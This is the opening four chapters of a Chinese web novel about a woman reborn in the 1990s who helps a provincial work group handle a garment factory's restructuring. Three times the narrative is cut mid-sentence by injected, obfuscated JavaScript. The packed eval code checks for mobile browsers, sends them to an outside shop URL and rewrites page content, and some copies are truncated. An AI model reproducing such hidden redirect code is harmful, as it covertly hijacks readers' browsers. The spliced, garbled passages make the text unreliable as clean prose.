《重返90:赚钱与撩他》 1. 第 1 章 电话铃声像一根尖锐的针,扎进苏青禾的脑袋里,猛地刺破混沌。 苏青禾一个激灵,从那种高空坠落般的失重感中惊醒。视线花了半秒才聚焦,映入眼帘的是糊着旧报纸的顶棚,雨水渗漏留下的焦黄痕迹在墙角晕开。 耳边是居委会办公室里日常的嘈杂。 老式拨盘电话刺耳的铃声,隔壁办公室王主任拔高了嗓门在电话里跟谁理论的嚷嚷声,混杂着身旁张姐和李姐一边飞快地打着毛线、一边抱怨自家孩子期末考试又不及格的唠叨声。 心脏在胸腔里擂鼓,猝死前那种数据流冲刷过载的灼烧感还残留在苏青禾的神经末梢。 上一秒,苏青禾还在为那个关乎海外战略布局的百亿项目做最终推演,满屏都是红色的预警阈值和复杂的概率模型。 下一秒,庞杂的记忆碎片如同决堤的洪水,蛮横地冲撞着她的认知——这具身体的主人和自己同名也叫苏青禾,高二休学、街道临时工、赵向北、转正、彩礼、四十二块五的月工资…… 意识像是被强行塞进了一个低配版的躯壳,运行着完全不同的操作系统。 苏青禾下意识地深吸一口气,强迫自己冷静。 分析师的本能让苏青禾迅速观察起来,办公桌边角掉漆的程度、搪瓷缸上“先进工作者”褪色的红字、窗外街上自行车的款式、对面刘姐的确良衬衫领口细致的针脚修补痕迹…… 苏青禾,前顶级战略分析师,现价,每月工资四十二块五的街道临时工。这就是她目前所处的状况。 张姐和李姐看看墙上的挂钟,差几分钟就到五点了,两人利索地收拾好毛线针,嘴里说着,“青禾,我们先走了,接孩子要迟了。”两人便提前几分钟溜出了办公室。 苏青禾笑着和两人点着头,自己也动作迟缓的开始收拾桌面。 五点一到,苏青禾也背上挂在椅子上的布包走出了办公室。 刚走出居委会低矮的大门,就看见了等在不远处槐树下的赵向北。 赵向北穿着一身没有领章的军装,身姿挺拔,宽肩窄腰长腿的好身材被合体的军装衬得格外醒目,脚边放着军绿色的帆布大挎包,显然是刚办完转业手续。 见到苏青禾出来,赵向北脸上立刻露出一个爽朗的笑容,几步迎了上来。 “青禾!”赵向北的语气带着高兴,“我的工作分配基本定了,应该就是区派出所。等我这边安置好了,就去帮你跑转正的事儿。” 赵向北身体微微前倾,看着苏青禾的眼神有些灼热,“晚上我妈让你去家里吃饭,做了你爱吃的红烧肉。” 赵向北很自然地伸手要接过苏青禾背着的布包。 苏青禾微微侧身,用整理前额碎发的动作避开了赵向北伸过来的手,笑着说道:“恭喜你啊。不过今晚真不巧,我家里有点事,得回去一趟,替我谢谢阿姨好意。” 赵向北愣了一下,脸上的笑容淡了些:“什么事这么急?我妈菜都下锅了……” “我弟学校有点事,我得去一趟。”苏青禾边说边拉开两人之间的距离,“转正和吃饭的事,等你也安定下来再说也不迟。”说完,苏青禾对赵向北点点头,“我先回去了。”转身便朝记忆中家属院的方向走去。 赵向北看着苏青禾干脆利落离开的背影,那句“我陪你去”卡在喉咙里,最终只是挠了挠头,他觉得今天的苏青禾,好像有哪里不一样了。 以前苏青禾见着自己,眼神会亮一下,脸上会浮起一层薄薄的红晕,说话声也会不自觉放轻。可刚才,苏青禾看自己的眼神,虽然也带着笑,却很陌生,而且对他的接触似乎还有点抵触。 苏家的晚饭餐桌,气氛沉闷。 小小的折叠桌支在客厅兼饭厅的中央,桌上摆着一盆米饭,一碟炒土豆丝,一个莴笋炒肉片,一碗昨天剩的萝卜汤。 父亲苏志刚沉默地吃着汤泡饭,夹着桌上的菜,吃得很快。他是铁路上干了大半辈子的维修班班长,技术过硬,但回到家,多半的时间都是沉默。 母亲王秀兰把炒菜里零星的几片肉,夹进儿子苏向阳碗里,一边对苏青禾念叨:“青禾,我今天听向北他妈说,向北的工作已经定下来了,区派出所。 苏志刚难得的发表了一句意见,“派出所那可是好单位。” “那可不。”王秀兰的脸上带着光。 苏青禾没接话,王秀兰继续念叨:“你转正的事可得抓紧跟他提,人家是部队下来的,又分到了派出所,前途好。你这边还是个临时工可不行。” 说完又怕苏青禾不明白,低声在她耳边补了句,“你俩结婚的时候你还是个临时工,他那个妈不知道会怎么嫌弃你。” 苏青禾“嗯”了一声,继续低头吃着碗里的饭。 苏青禾知道王秀兰的心思,也清楚赵向北的条件在这个年代堪称优良。但原主那份基于“合适”而非“心动”的顺从,并非她所需。 “姐!我晚上要去同学家对复习题,你洗碗。”苏向阳说完一抹嘴,抓起书包就冲出了门。 王秀兰拿着碗追到门口喊:“慢点跑!看着点车!” 苏青禾趁这功夫,几口吃完碗里的饭,把自己的碗筷放到厨房。王秀兰转身回来,刚想开口,苏青禾已经动作利落地背起了布包。 “妈,我约了孙梅去新华书店,听说来了批新的复习资料,我去看看。”苏青禾丢下这句话,人已出了门。 这是苏青禾今天下午在办公室嘈杂的毛线闲聊声中,快速为自己规划的、最合理也是最迫切的一条路——摸清这个时代高考的门坎。 原主高二因为要把考大学的机会留给弟弟,休学了,父母对她都有愧疚,也给了现在的苏青禾一个绝佳的、不会引人怀疑的“重启”借口。 考大学,是跳出眼前局面的最佳跳板。 小城里唯一的新华书店里灯火通明,人却不多。 苏青禾径直走向标着“文教”的区域,书架上整齐码放着的《政治》、《历史》、《地理》……以及各种版本的数理化习题集。她随手抽出一本《数学》,快速翻阅。公式定理是熟悉的,但题型和表述带着鲜明的时代烙印。 苏青禾又看了看历年高考录取分数线的宣传单,心里快速计算着自己需要补足的差距和可能的时间表。 就在这时,苏青禾的目光无意中掠过书架尽头镶嵌的一块作为装饰的、擦得锃亮的金属板。 光滑的板面清晰地映出她自己的身影。 苏青禾的呼吸一下顿住了,镜子里映出的是一张完全陌生的脸。 十九岁的年纪,肌肤是干净的瓷白,毫无瑕疵。一双眼睛黑白分明,眼尾天然地微微上扬。鼻梁秀挺,嘴唇是淡淡的粉色。这是一种毫无攻击性、纯净剔透,却又因为过于精致而让人一眼望去便忍不住心生惊叹的漂亮。 苏青禾静静地与镜中的自己对望了两秒。 前世困扰她多年的熬夜暗沉和痘痘肌,此刻毫无痕迹。这张脸,漂亮得近乎不真实,是一种与她内在那套冷静、甚至带点冷酷的分析师内核,截然不同的、极具欺骗性的柔软外壳。 苏青禾对着金属板里的人,带着点自嘲低语:“行吧。硬件重置,顶配皮肤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372587|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹儿,从今天起,你这张脸和我的脑子,就是咱们在这个副本里,最强的初始资本了。” 第二天上班,居委会办公室里和昨天的情形没有什么区别。 王主任风风火火地进进出出。 张姐和刘姐仍然是聊着毛线颜色和家里孩子的功课,心思显然没放在工作上。 孙梅凑到苏青禾面前,她比苏青禾大两岁,个子矮些,整个人健康结实,圆脸上带着这个时代女性常见的劳作红晕,两条乌黑的大辫子垂在胸前。 孙梅是苏青禾在这个时空为数不多能说上话的人,孙梅父亲和苏青禾的父亲同在铁路系统。 “青禾,听说没?”孙梅压低声音,“就咱们街道边上那个红旗服装厂,怕是要不行了!工人闹了好几回了,说厂子要黄,工资都发不出来了!” 苏青禾整理资料的手顿了顿。红旗服装厂……她有点印象,原主记忆里那是个曾经效益还不错的集体厂子。 “怎么回事?”苏青禾顺着问了一句。 “谁知道呢!反正听说闹得挺凶,上面都来人了。”孙梅撇撇嘴,“要我说,也是没办法的事,现在个体户那么多,外面市场上的新样子又多,他们厂都是些老掉牙的款式,谁要啊?” 听着孙梅的话,苏青禾在心里默默做着分析。工厂经营不善,工人闹事……这是这个时代变革中最常见的阵痛。她暂时只是个临时工,这事离她还远。 然而,平静却在下午被打破。 王主任从外面一阵风似的冲进办公室,声音带着颤音对屋里的几个人说:“都别忙了!出大事了!红旗服装厂!工人把厂部给围了!” “几个老工人嚷嚷着要喝农药!” “说改制就是要把他们往死里逼!” 办公室里先是安静了一瞬,接着张姐、刘姐、孙梅都是一脸惊慌,七嘴八舌地议论起来。 “哎哟!这可怎么得了!” “喝农药?这不是要出人命吗!” “改制改制,越改越乱!” 苏青禾的心猛也是地一沉。 改制?她瞬间抓住了这个关键词。前世看到过太多企业重组案例,她太清楚这其中涉及的利益纠葛和人性挣扎。 苏青禾在内心快速推演着,工厂改制,变量极多。 资产估值、债务清算、人员安置……但核心矛盾无非三条。说白了,就是三个死结,钱从哪来?债怎么还?人往哪去?现在,最先引爆的就是最难的一个环节,人。 解决方案必须同时满足短期情绪安抚与长期利益兑付…… 苏青禾的冷静在慌乱的办公室里显得格格不入。王主任焦躁的目光扫过众人,最后落在了苏青禾身上。 “小苏!”王主任声音发急,“你!快跟我去一趟厂里!上面派的工作组马上就到,我们需要个熟悉红旗厂职工家庭情况的去汇报!就是厂里哪些是老师傅、家里啥情况!” 王主任为什么会选中苏青禾? 因为在这群大多初中毕业、遇事就慌的同事里,她这个读过高中、住在厂区边上、遇事沉得住气的临时工,已经是现在王主任唯一能指望上的人了。 苏青禾深吸一口气,压下心里的思绪,站起身,“好。” 苏青禾跟在王主任身后冲出了办公室。 安静的马路上响起一阵汽车的声音。 苏青禾抬眼望去,就见两辆挂着省城牌照的黑色上海牌轿车从街面上开过。 第二辆车的后座,车窗半开,一个穿着深色中山装的年轻男人,侧影轮廓在飞驰的车窗后一闪而过。 2. 第 2 章 红旗服装厂那扇有着不少锈迹的旧铁门紧紧关着,门上新刷的红色标语“搞活经济,振兴国企”几个大字,在春日略显惨淡的阳光下,刺眼地宣告着某种与现实脱节的决心。 铁门外,小城唯一的主干道被人群堵得水泄不通。 黑压压的工人群情绪激愤,一排戴着红袖标的厂保卫科人员手拉着手守在厂门口,对抗着推搡着往前挤的人群。 哭喊声、咒骂声、嘶哑的吼叫声,混杂在一起嘈杂又绝望。 马路对面,不少骑自行车的人停下来,踮着脚张望,脸上的表情混杂着好奇、同情和不安。 空气里弥漫着尘土和人群闷出的汗味,还有一种更压抑的、濒临崩溃的情绪在发酵。 人群中央,一个头发花白、穿着洗得发白工装的老工人,手里死死攥着一个棕色的农药瓶,脖子上的青筋暴起,声音嘶哑地吼着:“三十年!我为厂子干了三十年!现在搞个一刀切就想打发我?我不如死了干净!”他被几个差不多年纪的老伙计死死拦腰抱着,却又没有人真正去抢他手里的农药瓶。 不远处,一个中年女工瘫坐在地上,头发蓬乱,眼神涣散,像是被抽走了魂,嘴里反复念叨着:“……孩子的学费……拿啥交啊……这可咋活啊……” 苏青禾曾经翻阅过无数份冷冰冰的行业报告,里面记录的下岗、安置,只是抽象的数据和曲线。但此刻,报告上那些冰冷的数字,变成了眼前一张张或绝望、或愤怒、但更多是麻木的面孔,带着近乎窒息的压迫感,冲撞着苏青禾的认知。 王主任带着苏青禾,费力地从人群边缘挤到紧闭的铁门前,拍着门朝着里面喊话,“开门,我们是居委会的。” 铁门开了一条缝,厂里的书记张建国和副厂长李为民透过门缝看了一眼,赶紧把他们俩拉了进去,又迅速把门闩上。 门内,气氛同样凝重,几个厂领导围在一起,个个脸色灰败。 “老王,你可来了!”张书记一把抓住王主任的胳膊,那模样哪里还有一个厂领导的沉稳,声音发颤的说道:“今天刚宣布初步方案,就……就这样了!这些人,根本说不通啊!” □□是基层最怕也是最危险的事件,王主任也急得满头大汗,“张书记,你别慌!到底怎么说的?工人为啥闹这么凶?” 李副厂长插话,语气沮丧,“还能为啥?觉得补偿太低,一刀切,不管老人死活了!” 张书记接过话说道:“我们的情况你也是清楚的,厂子一直就是指着4207厂的劳保订单组织生产,可这两年4207的单子一下就少了一大半,厂里账上早就空了,哪来的钱按他们想的发?” 苏青禾站在王主任身后,刚刚看到的景象太真实了,让苏青禾一时有些恍惚,她强迫自己冷静下来,目光快速扫视着四周。 门内的厂区,厂房窗户大多完好,但墙皮剥落严重。空地上堆积着布料和半成品,颜色黯淡,款式显然是几年前的老样子。 留在门内,维持着厂里秩序的,也多是四十岁以上的面孔,每个人脸上的表情和门外的人一样也是惶恐又茫然。 苏青禾结合原主在街道工作中零星听到的信息,内心飞速盘算。 设备看来还能转,但东西卖不出去。人都是老师傅,手艺有,但离了这厂子,出去难找工作。 这个红旗厂不是异类,而是这个时代大多数厂子的缩影,跟不上外面变化,生产的东西没人要,只要原有销售渠道稍有变化,这样的厂子就活不下去了。 就在这时,两辆黑色上海牌轿车卷着尘土,疾驰而来,准确地停在人群外围。 车门打开,几名神情干练的男女迅速下车,试图分开人群。 为首一位四十多岁、面相沉稳的中年人提高音量喊道:“同志们,冷静!” “省里工作组的同志来了,大家有问题,我们坐下来谈!” “开门,快开门。”听到门外的喊话张书记连忙招呼守在门口的两个保卫科人员把大铁门打开。 大门打开,随着中年人的喊话,此刻门外混乱稍止,众人的目光下意识地聚焦在最后一扇打开的车门上。 一个穿着深灰色中山装的年轻男人弯身下车,站直了身体。他身量很高,一米八五上下,身姿挺拔,站在情绪激动的人群中,有一种沉静的压迫感。 年轻男人的长相极其出挑,棱角分明,眉骨很高,眼窝微陷,让那双过于沉静的眼睛显得格外深邃。鼻梁挺直,唇线清晰,下颌线利落,组合成一种极具冲击力又带着冷感的英俊,在这样混乱的场景里依然让人无法忽视。 苏青禾的呼吸一滞,那是一种来自视觉的本能冲击,这人太年轻了,看起来不过二十四五岁,看样子竟已是这个工作组的头儿?但当他抬起眼,目光沉静地扫过全场时,那种与年龄不符的沉稳和隐隐透出的权威感,瞬间压倒了他太过年轻带来的违和感。 省工作组的人员快步进入到厂门内。 “哪位是厂里的负责人?”周延璋开口,声音不高,却清晰地压过了嘈杂。 张建国早就接到了通知,省里有工作组下来,见到周延璋的年轻也是一愣,但听到问话还是连忙小跑着迎了上去,语气恭敬:“周组长!我是厂书记张建国,这位是李副厂长!我们……” 周延璋微一颔首,目光扫过几位厂领导,直接切入核心:“补偿方案的具体内容和工人的主要异议是什么?” 李副厂长赶紧解释:“周组长,我们也是没办法,按上面的指导精神……可工人们觉得……” 周延璋听完,不置可否,目光转向王主任:“这位是街道的同志吧。目前掌握的情况里,工人家庭的具体困难有哪些?比如,家中有重病患者、完全依赖这份收入的家庭、军烈属,大概各有多少?” 王主任被问得一懵,额头冒汗:“这个......周组长,具体情况还得进一步摸排。大概......可能......" 眼看王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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被周延璋点到名的人都动了起来,苏青禾跟着王主任站到一边,就看见周延璋望向了自己,“这位同志,你留一下。把你刚才说的情况,整理一份详细的书面材料。” “好。”苏青禾点头。 王主任这才松了口气,赶紧小声的对苏青禾说:“小苏,你确定数据都准?” “王主任,都是核对过的。” “那好!这几天你就专门配合周组长他们,需要联系街道、跑腿协调的事,你全力负责!一定要服务好!”王主任语气郑重。 初步安抚后,人群在引导下开始缓慢疏散,但疑虑和绝望的氛围并未真正消散。周延璋等人随着张书记、李副厂长和生产车间主任赵大军走进了厂部那间简陋的办公室。 门一关,外面的喧嚣被隔开。 周延璋直接走到旧办公桌后坐下,目光扫过三位紧张的厂领导。 “现在,把厂里资产、债务、人员、以及你们那个补偿方案的详细账本,全部拿出来。”周延璋没有任何的寒暄,平静的语气里带着不容置疑的力度,“我要知道红旗厂最真实的情况。” “好的,好的。”张书记连忙示意李副厂长和赵主任去取材料。 3. 第 3 章 红旗服装厂那间充当临时指挥所的小会议室里,空气沉闷。 春末夏初的燥热,混杂着旧家具的霉味,沉甸甸地压在每个人心头。 工作组进驻厂里已经大半天,基本情况初步掌握后,周延璋便下令将办公地点移到了这里。 会议室的窗户大敞,却吹不进几丝凉风。 靠墙根歪歪扭扭垒着一排半人高的麻袋和纸箱,里面是厂里搬来的历年工资表、考勤记录和岗位津贴发放清单。纸张泛黄发脆,字迹潦草模糊,像一座沉默的废墟,无声诉说着这个厂子混乱的管理和积重难返的困境。 这些就是计算安置补偿所需的基础数据,庞杂、混乱,令人望而生畏。 周延璋坐在会议桌主位,深灰色中山装外套随意搭在旁边空椅的椅背上,只穿着一件白衬衫,袖口挽到小臂中间,露出一段线条利落、肤色微深的手腕。 “情况已经很清楚了,工人要的不是空话,是公平具体的补偿方案,不能为了省事一刀切,必须区分工龄、贡献。” 坐在会议桌对面的三位厂领导面面相觑,额头见汗。 这个年轻的周组长,几句话就戳破了所有虚价掩饰,直指冲突爆发的根源。之前为什么要搞一刀切的方案,还不就是因为这样最方便省事。 张主任朝一旁的李副厂长递着眼色,李副厂长只能硬着头皮指着墙边的资料,脸上一副豁出去了的表情说道:“周组长,厂里搞一刀切,真不是为了图省事。我们真的是能力有限,就那些资料,我们也是让财务科和办公室的人整理过,可也没人能统计明白。” 周延璋没有反驳,只是静静的听着,这位李厂长虽然是在推卸责任,但说的也是真实情况。逼着厂里承认错误并不能解决眼下的问题,也不是工作组下派的目的。 “我们工作组既然来了,数据统计的工作就交给我们。”周延璋的一句话让厂里领导都放下了心,他们就怕工作组只监督不干事。 “但我需要厂里面给与我们全面的配合,这有没有问题?” 面对周延璋的询问张主任三人连忙点头:“没有问题,保证全力配合省工作组的工作。” “好,那大家都开始吧。”周延璋不再多说,结束了和厂里领导班子的谈话。 厂里的人离开了,周延璋和组员一起开始翻阅资料,他低着头,微蹙着眉,快速翻阅着手里一沓厚厚的报表,阳光从窗户斜射进来,在他低垂的眼睫和挺直的鼻梁上投下一小片安静的阴影。 周延璋不说话,并没有降低他的存在感,他的沉默反而让整个会议室的气压都有些低。 刘主任坐在周延璋左手边,面前摊着笔记本,时不时低声和旁边一个年轻干事交流几句,眉头拧成了疙瘩。 年轻干事叫陈维东,二十出头,真正的大学生毕业。脸上还带着点没褪尽的学生气,此刻正对着一堆密密麻麻的数字抓耳挠腮,忍不住低声抱怨:“这……这怎么算?工龄断档的、工资标准变来变去的、岗位津贴发放记录不全的……这根本就是一笔糊涂账!” 周延璋头也没抬,手指在自己手里报表的某一页点了点,声音里没有急躁,“九一年第三季度到九二年第一季度,厂里效益下滑,基本工资发放记录混乱。但岗位津贴和加班费这一块,这三个月是单独造册的,去找劳资科对应的那份明细表来核对。” 陈维东愣了一下,赶紧去墙角的麻袋里翻找起来。 刘主任眼神堆笑地看了周延璋一眼,“组长眼尖,这关键点抓得准。” 陈维东还在翻找明细表的时候,会议室的门被轻轻敲响。 苏青禾拿着一叠纸站在门口,阳光在她身后勾勒出纤细的轮廓。 “周组长,刘主任,你们要的书面材料,我整理好了。”苏青禾的声音清晰平和,像一缕清爽的凉风注入了黏腻的空气。 周延璋抬起了头,两人目光相撞,苏青禾清晰地感受到一种沉甸甸的无形压力兜头罩下。 周延璋的眼神很静,像深潭,表面无波无澜,深处却仿佛蕴藏着能轻易穿透一切表象、洞悉本质的锐利。 苏青禾率先移开的视线,目光落在周延璋的手腕上。 那里戴着一块表,金属表链,简洁的表盘,是一个瑞士入门级品牌。价格相对亲民,算是一个低调务实的牌子,不算多高端,但却不是一个普通年轻干部能轻松拥有的。 可戴在周延璋手腕上,给苏青禾的感觉确是有些……朴素。 对,就是朴素。与周延璋自身沉稳的气场相比,这款表带戴在他手腕上只是被赋予了工具价值,没有任何象征意义。 一个能在这样年轻的年纪,就带队处理红旗厂这种级别烂摊子的人,他所处的环境、身后的能量、以及自身所代表的价值,早已超越了任何可以用标签定义的外物。 这个周组长的优越,不在于他戴了什么,而在于他本身,就是那个层次的一部分。 苏青禾刚才在门外已隐约听到里面的抱怨,看来工作组遇到了技术性难题。苏青禾稳住心神,大脑飞速运转,这或许是她的一个机会。 周延璋身旁的刘主任见到敲门的苏青禾,笑着开口道:“小苏同志,请进。” 苏青禾走过去,将材料放在周延璋面前的桌上。 周延璋拿起苏青禾写的资料,快速浏览,信纸上的字迹清秀工整,内容条理清晰。 苏青禾不仅将之前口头汇报的几类困难家庭数据列得明明白白,还额外附上了根据街道存档和走访了解到的一些具体家庭情况简述,甚至对数据可能的误差范围做了标注。这远远超出了一个街道临时工、甚至普通基层干部的工作水准,其严谨性,可参考性,比他手下几个刚毕业的大学生强了不止一星半点。 周延璋翻阅的速度慢了下来,抬头看了苏青禾一眼,见她的注意力似乎落在陈维东的桌子上,收回了目光。 就在这时陈维东站了起来,举着手里一叠表格,声音带着烦躁:“组长,这样一个个手动核对太慢了!光是理清九一年到九二年的工龄和工资对应关系,就得花上好几天!” 苏青禾的目光顺着陈维东的声音落到周延璋的身上,见他已经看完了自己整理的资料。 “周组长,陈干事,或许……可以试试用分类统计和公式套用的方法,先把大框架搭起来。” 陈维东闻言,斜眼看了苏青禾一眼,下意识地撇了撇嘴,“分类统计?你一个临时工不要以为知道个名字就是懂得怎么用了。” “分类统计,说得轻巧,这数据乱成这样,变量又多,怎么分类?公式又从哪里来?我们大学里学的正统方法在这儿都派不上用场。”陈维东名校毕业生的优越感让他说出的话很不客气,如果不是苏青禾长的漂亮陈维东说出的话估计会更让人难堪。 苏青禾并不介意陈维东的质疑,转向周延璋,语气平静的询问:“周组长,能不能给我一张纸,一支笔?” 周延璋点头:“可以。”话落,一旁的刘主任已经将手边的钢笔和一张空白信纸推了过去。 苏青禾接过笔,没有丝毫犹豫,俯身就在纸上飞快地画了起来。 会议室里所有人的注意力都被吸引了过来,大家就看到苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372589|199994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青禾先画了一个清晰的表格框架,横轴标注项目:工龄段、对应工资级别、岗位津贴系数、特殊工种补贴…… 纵轴则列出人员分类:在岗、退休、长病假、停薪留职…… 然后,她在表格旁边空白处,写下几行简洁的公式,将工龄、工资基数、津贴系数、补贴项目如何联动计算,写得清清楚楚。 “就这样。”苏青禾将画好的表格推向陈维东,语气依旧平和,并没有半点卖弄,“数据是乱,但内在逻辑是通的。我们可以先按工龄分段,比如五年一段,把所有人归进去。同一工龄段内,再按档案工资的最后一个有效档位分组。岗位津贴和特殊补贴,厂里再乱,发放名册总有的,把它们作为系数乘上去。” 苏青禾一边说,一边用笔尖点着纸上的公式:“比如,这位张师傅,工龄28年,最后一档工资是78块5,他是八级裁剪工,有技术补贴系数0.15,那他的月补偿基数就是78.5*(1+0.15)=86.35。我们先按这个思路,把所有人的基数快速算出来,形成一个总表。有争议、记录不全的,单独标记出来,最后集中核对解决。这样效率会高很多。” 陈维东的眼神起初还带着不屑,但看着纸上那清晰的框架和逻辑严密的公式,眼神慢慢变得认真起来。 这方法……这公式……完全跳出了他埋头苦算的死循环,是一种更高维度的、化繁为简的统计思路。 陈维东看了苏青禾一眼,嘴上习惯性的想反驳,却发现自己在这张表上找不到任何破绽。 随即,一股难以言喻的羞臊感涌了上来——他一个正经大学毕业、进了省机关的人,竟然被一个街道临时工,还是个这么漂亮的女同志,在专业方法和思路上比了下去,这让陈维东的脸上有些挂不住。 陈维东下意识避开了苏青禾平静的目光,耳朵尖微微发红,刚才那股焦躁和优越感荡然无存,只剩下讪讪的尴尬。 刘主任在一旁也是听明白了,替陈维东解围的说道:“小苏同志!你这表格太清楚了!这能节约我们不少时间。” 周延璋全程没有说话,他的视线一直落在苏青禾那双飞快移动、稳定书写的手上,落在她沉静侧脸和专注讲解时微微开合的唇上。在她流畅清晰地阐述完整个方法,将陈维东说得哑口无言时,周延璋轻轻点了点桌面,唇角向上牵动了一下。那并非笑容,更像是一种……看到意料之外精妙答案时,下意识的认可和欣赏。 “方法可行。”周延璋终于开口,声音依旧平稳,却带着决断,“苏青禾同志,你暂时留下,协助工作组,按照这个思路,先把人员补偿基数总表做出来。” “好。”苏青禾迎着周延璋的目光,开心地点了点头。她知道自己初步通过了考验,在这个临时组成的核心圈子里,撬开了一丝缝隙。 阳光透过窗户,照亮了空气中漂浮的微尘,也勾勒出会议桌前几人重新投入工作的身影。 苏青禾坐在长桌一角,接过陈维东递过来的部分资料,开始专注地分类整理。 周延璋重新将目光投向手中的报表,但接下来的十几分钟里,他翻阅文件的速度似乎比之前慢了一些,因为他总能听到苏青禾和陈维东的小声交谈,其中既有陈维东的询问,也有苏青禾的回答。 不止陈维东,其他几个组员也有问题询问苏青禾,周延璋并未刻意去看苏青禾,但整个房间里因她清晰高效的思路和方法而明显提升的工作效率和氛围变化,他感知得一清二楚。 一种基于对专业能力认可而产生的、微妙而牢固的联结,在这个燥热的午后,悄然建立。 4. 第 4 章 深夜,红旗服装厂那间充当临时指挥所的小会议室里,灯火通明,驱散了窗外的浓重夜色。 长会议桌的一角,苏青禾独自伏案。她面前是分门别类摞得整整齐齐的表格,是早已核对完毕的人员统计资料。但她并未休息,笔尖仍在信纸上快速移动,正将白天观察到的一些关于库存布料和闲置设备的情况,以及几点初步的利用设想,落成文字。 会议桌的另一端,工作组其他成员的位置早已空置,只留下些许凌乱的痕迹,显然都已熬不住先去休息了。 会议室中央的主位上,周延璋还在。 白衬衫领口的第一颗扣子解开了,周延璋一手撑着额角,另一只手的手指无意识地轻叩着摊开在面前的厚厚一叠报表,目光虽仍落在纸面上,却明显失了几分焦距。 连续奔波、以及这一整天高强度的连轴转,让周延璋眉也有些疲惫,连带着他周身那股惯常的冷峻气场,也仿佛被这深夜的灯光熬得柔和、甚至有些涣散了。 整个空间静得只剩下两人的呼吸声,以及苏青禾笔尖划过纸面的沙沙声。 苏青禾将最后几行字写完,轻轻吹了吹,待墨迹干了以后才拿起那几张写得密密麻麻的信纸,起身走向会议室中央。 苏青禾脚步放得很轻,走到了周延璋侧手边。 周延璋似乎沉浸在自己的思绪里,并未立刻察觉。 苏青禾的目光便自然而然地,落在了那张被疲惫柔化了棱角的脸上,看着那长长睫毛覆盖的眼睛,心里有点痒痒的。 “周组长。”苏青禾出声提醒,音量控制在恰好能打破寂静又不显突兀的程度。 周延璋闻声,叩击桌面的手指一顿,有些迟缓地抬起头。 灯光在周延璋轮廓分明的脸上投下深浅不一的阴影,让苏青禾把他眼底的血丝和眉心的倦意看的更清楚。 周延璋花了半秒钟才将目光聚焦在苏青禾脸上,眼神里带着被强行从深度思考中拉回的延迟。 “周组长,这是我这部分的统计数据。”苏青禾把统计好的数据放到桌上,另外将自己刚刚写的《关于红旗服装厂短期生产自救与人员过渡的初步设想》放在周延璋的面前。 周延璋的目光落在信纸清秀工整的字迹上,没有立刻去拿,而是抬眼看着苏青禾,目光带上了审视,没有迂回而是直接问道:“为什么做这个?这不是你的职责范围。” 周延璋的提问不带情绪,只有纯粹的探究,他要知道苏青禾表现的目的。 苏青禾迎着周延璋的目光,并没有跟着他的提问节奏走,而是语气平静的陈述:“止损和盘活现有资产,是稳定局面、争取时间最快的方式。工人有活干,有收入,情绪就能稳住,工作组才能腾出手谋划长远安置。这是目前效率最高的选择。” 苏青禾见周延璋并没有反驳自己,补充道,“而且,厂里积压的布料和闲置的设备,本身就是资源,不需要额外的任何投入。” 苏青禾的回答,完全站在解决问题的工作角度,逻辑清晰,目标明确,没有丝毫个人情绪或空泛的口号,与这个时代大多数基层干部的思想差异很大。这种极度理性、效率导向的思维方式,与周延璋的决策模式产生了奇妙的共鸣。 周延璋沉默了片刻,深邃的眼眸审视着苏青禾,这个临时工太不像一个临时工了。短短一天就让他对苏青禾有了一些探索欲。 “思路是对的。”周延璋最终给出了简短的肯定,然后,话锋微妙地一转,问了一个更私人的问题,“你学过经济?还是在工厂干过?” 这个问题,触及了苏青禾能力的来源。 苏青禾在决定展示自己能力的时候心里就有了应对的说辞,用早已准备好的、半真半假的说辞回答道:“没系统学过,就是自己爱瞎琢磨,多看多听多想罢了。”苏青禾避开具体经历,将原因归结为一种模糊的天赋和用心。 周延璋没再追问,只是又深深看了她一眼,那眼神复杂难辨,有欣赏,有探究,或许还有一丝不易察觉的疑虑。他重新低下头,看向文件,语气恢复了平常:“明天开始,早晚的工作简报,你也参加。” “是。”苏青禾心中一定,知道自己这是初步获得了进步的资格。 苏青禾转身离开,轻轻带上门。 周延璋的目光在苏青禾离开的方向停留了一瞬,才重新聚焦于眼前的报表。他指尖无意识地在“短期生产自救”那几个字上敲了敲。这个苏青禾,比他预想的,心思更活,也更大。 几天后的傍晚,苏青禾和孙梅约了吴俊明在离家不远的河堤边碰头。 两人出了家属院挽着手往河堤走。 孙梅一边走一边问:“好几天没瞅见你人影儿,王主任只说你去帮忙,红旗厂那边那没弄完?” 苏青禾:“哪有那么快,我就是帮着工作组那边整理点数据。” 孙梅凑近苏青禾,压低声音,带着点八卦的问道,“哎,我可听说这次省里派来的那个工作组组长,可年轻了。而且,长得特别精神,特别帅!是不是真的?” 苏青禾想起周延璋那张脸,侧头看着孙梅笑了:“真的,又高又帅。” “哦~”孙梅看着苏青禾的笑脸,尾音拖得老长,胳膊肘轻轻撞了苏青禾一下,“苏青禾同志,我要提醒你,你可是有男朋友的人。” 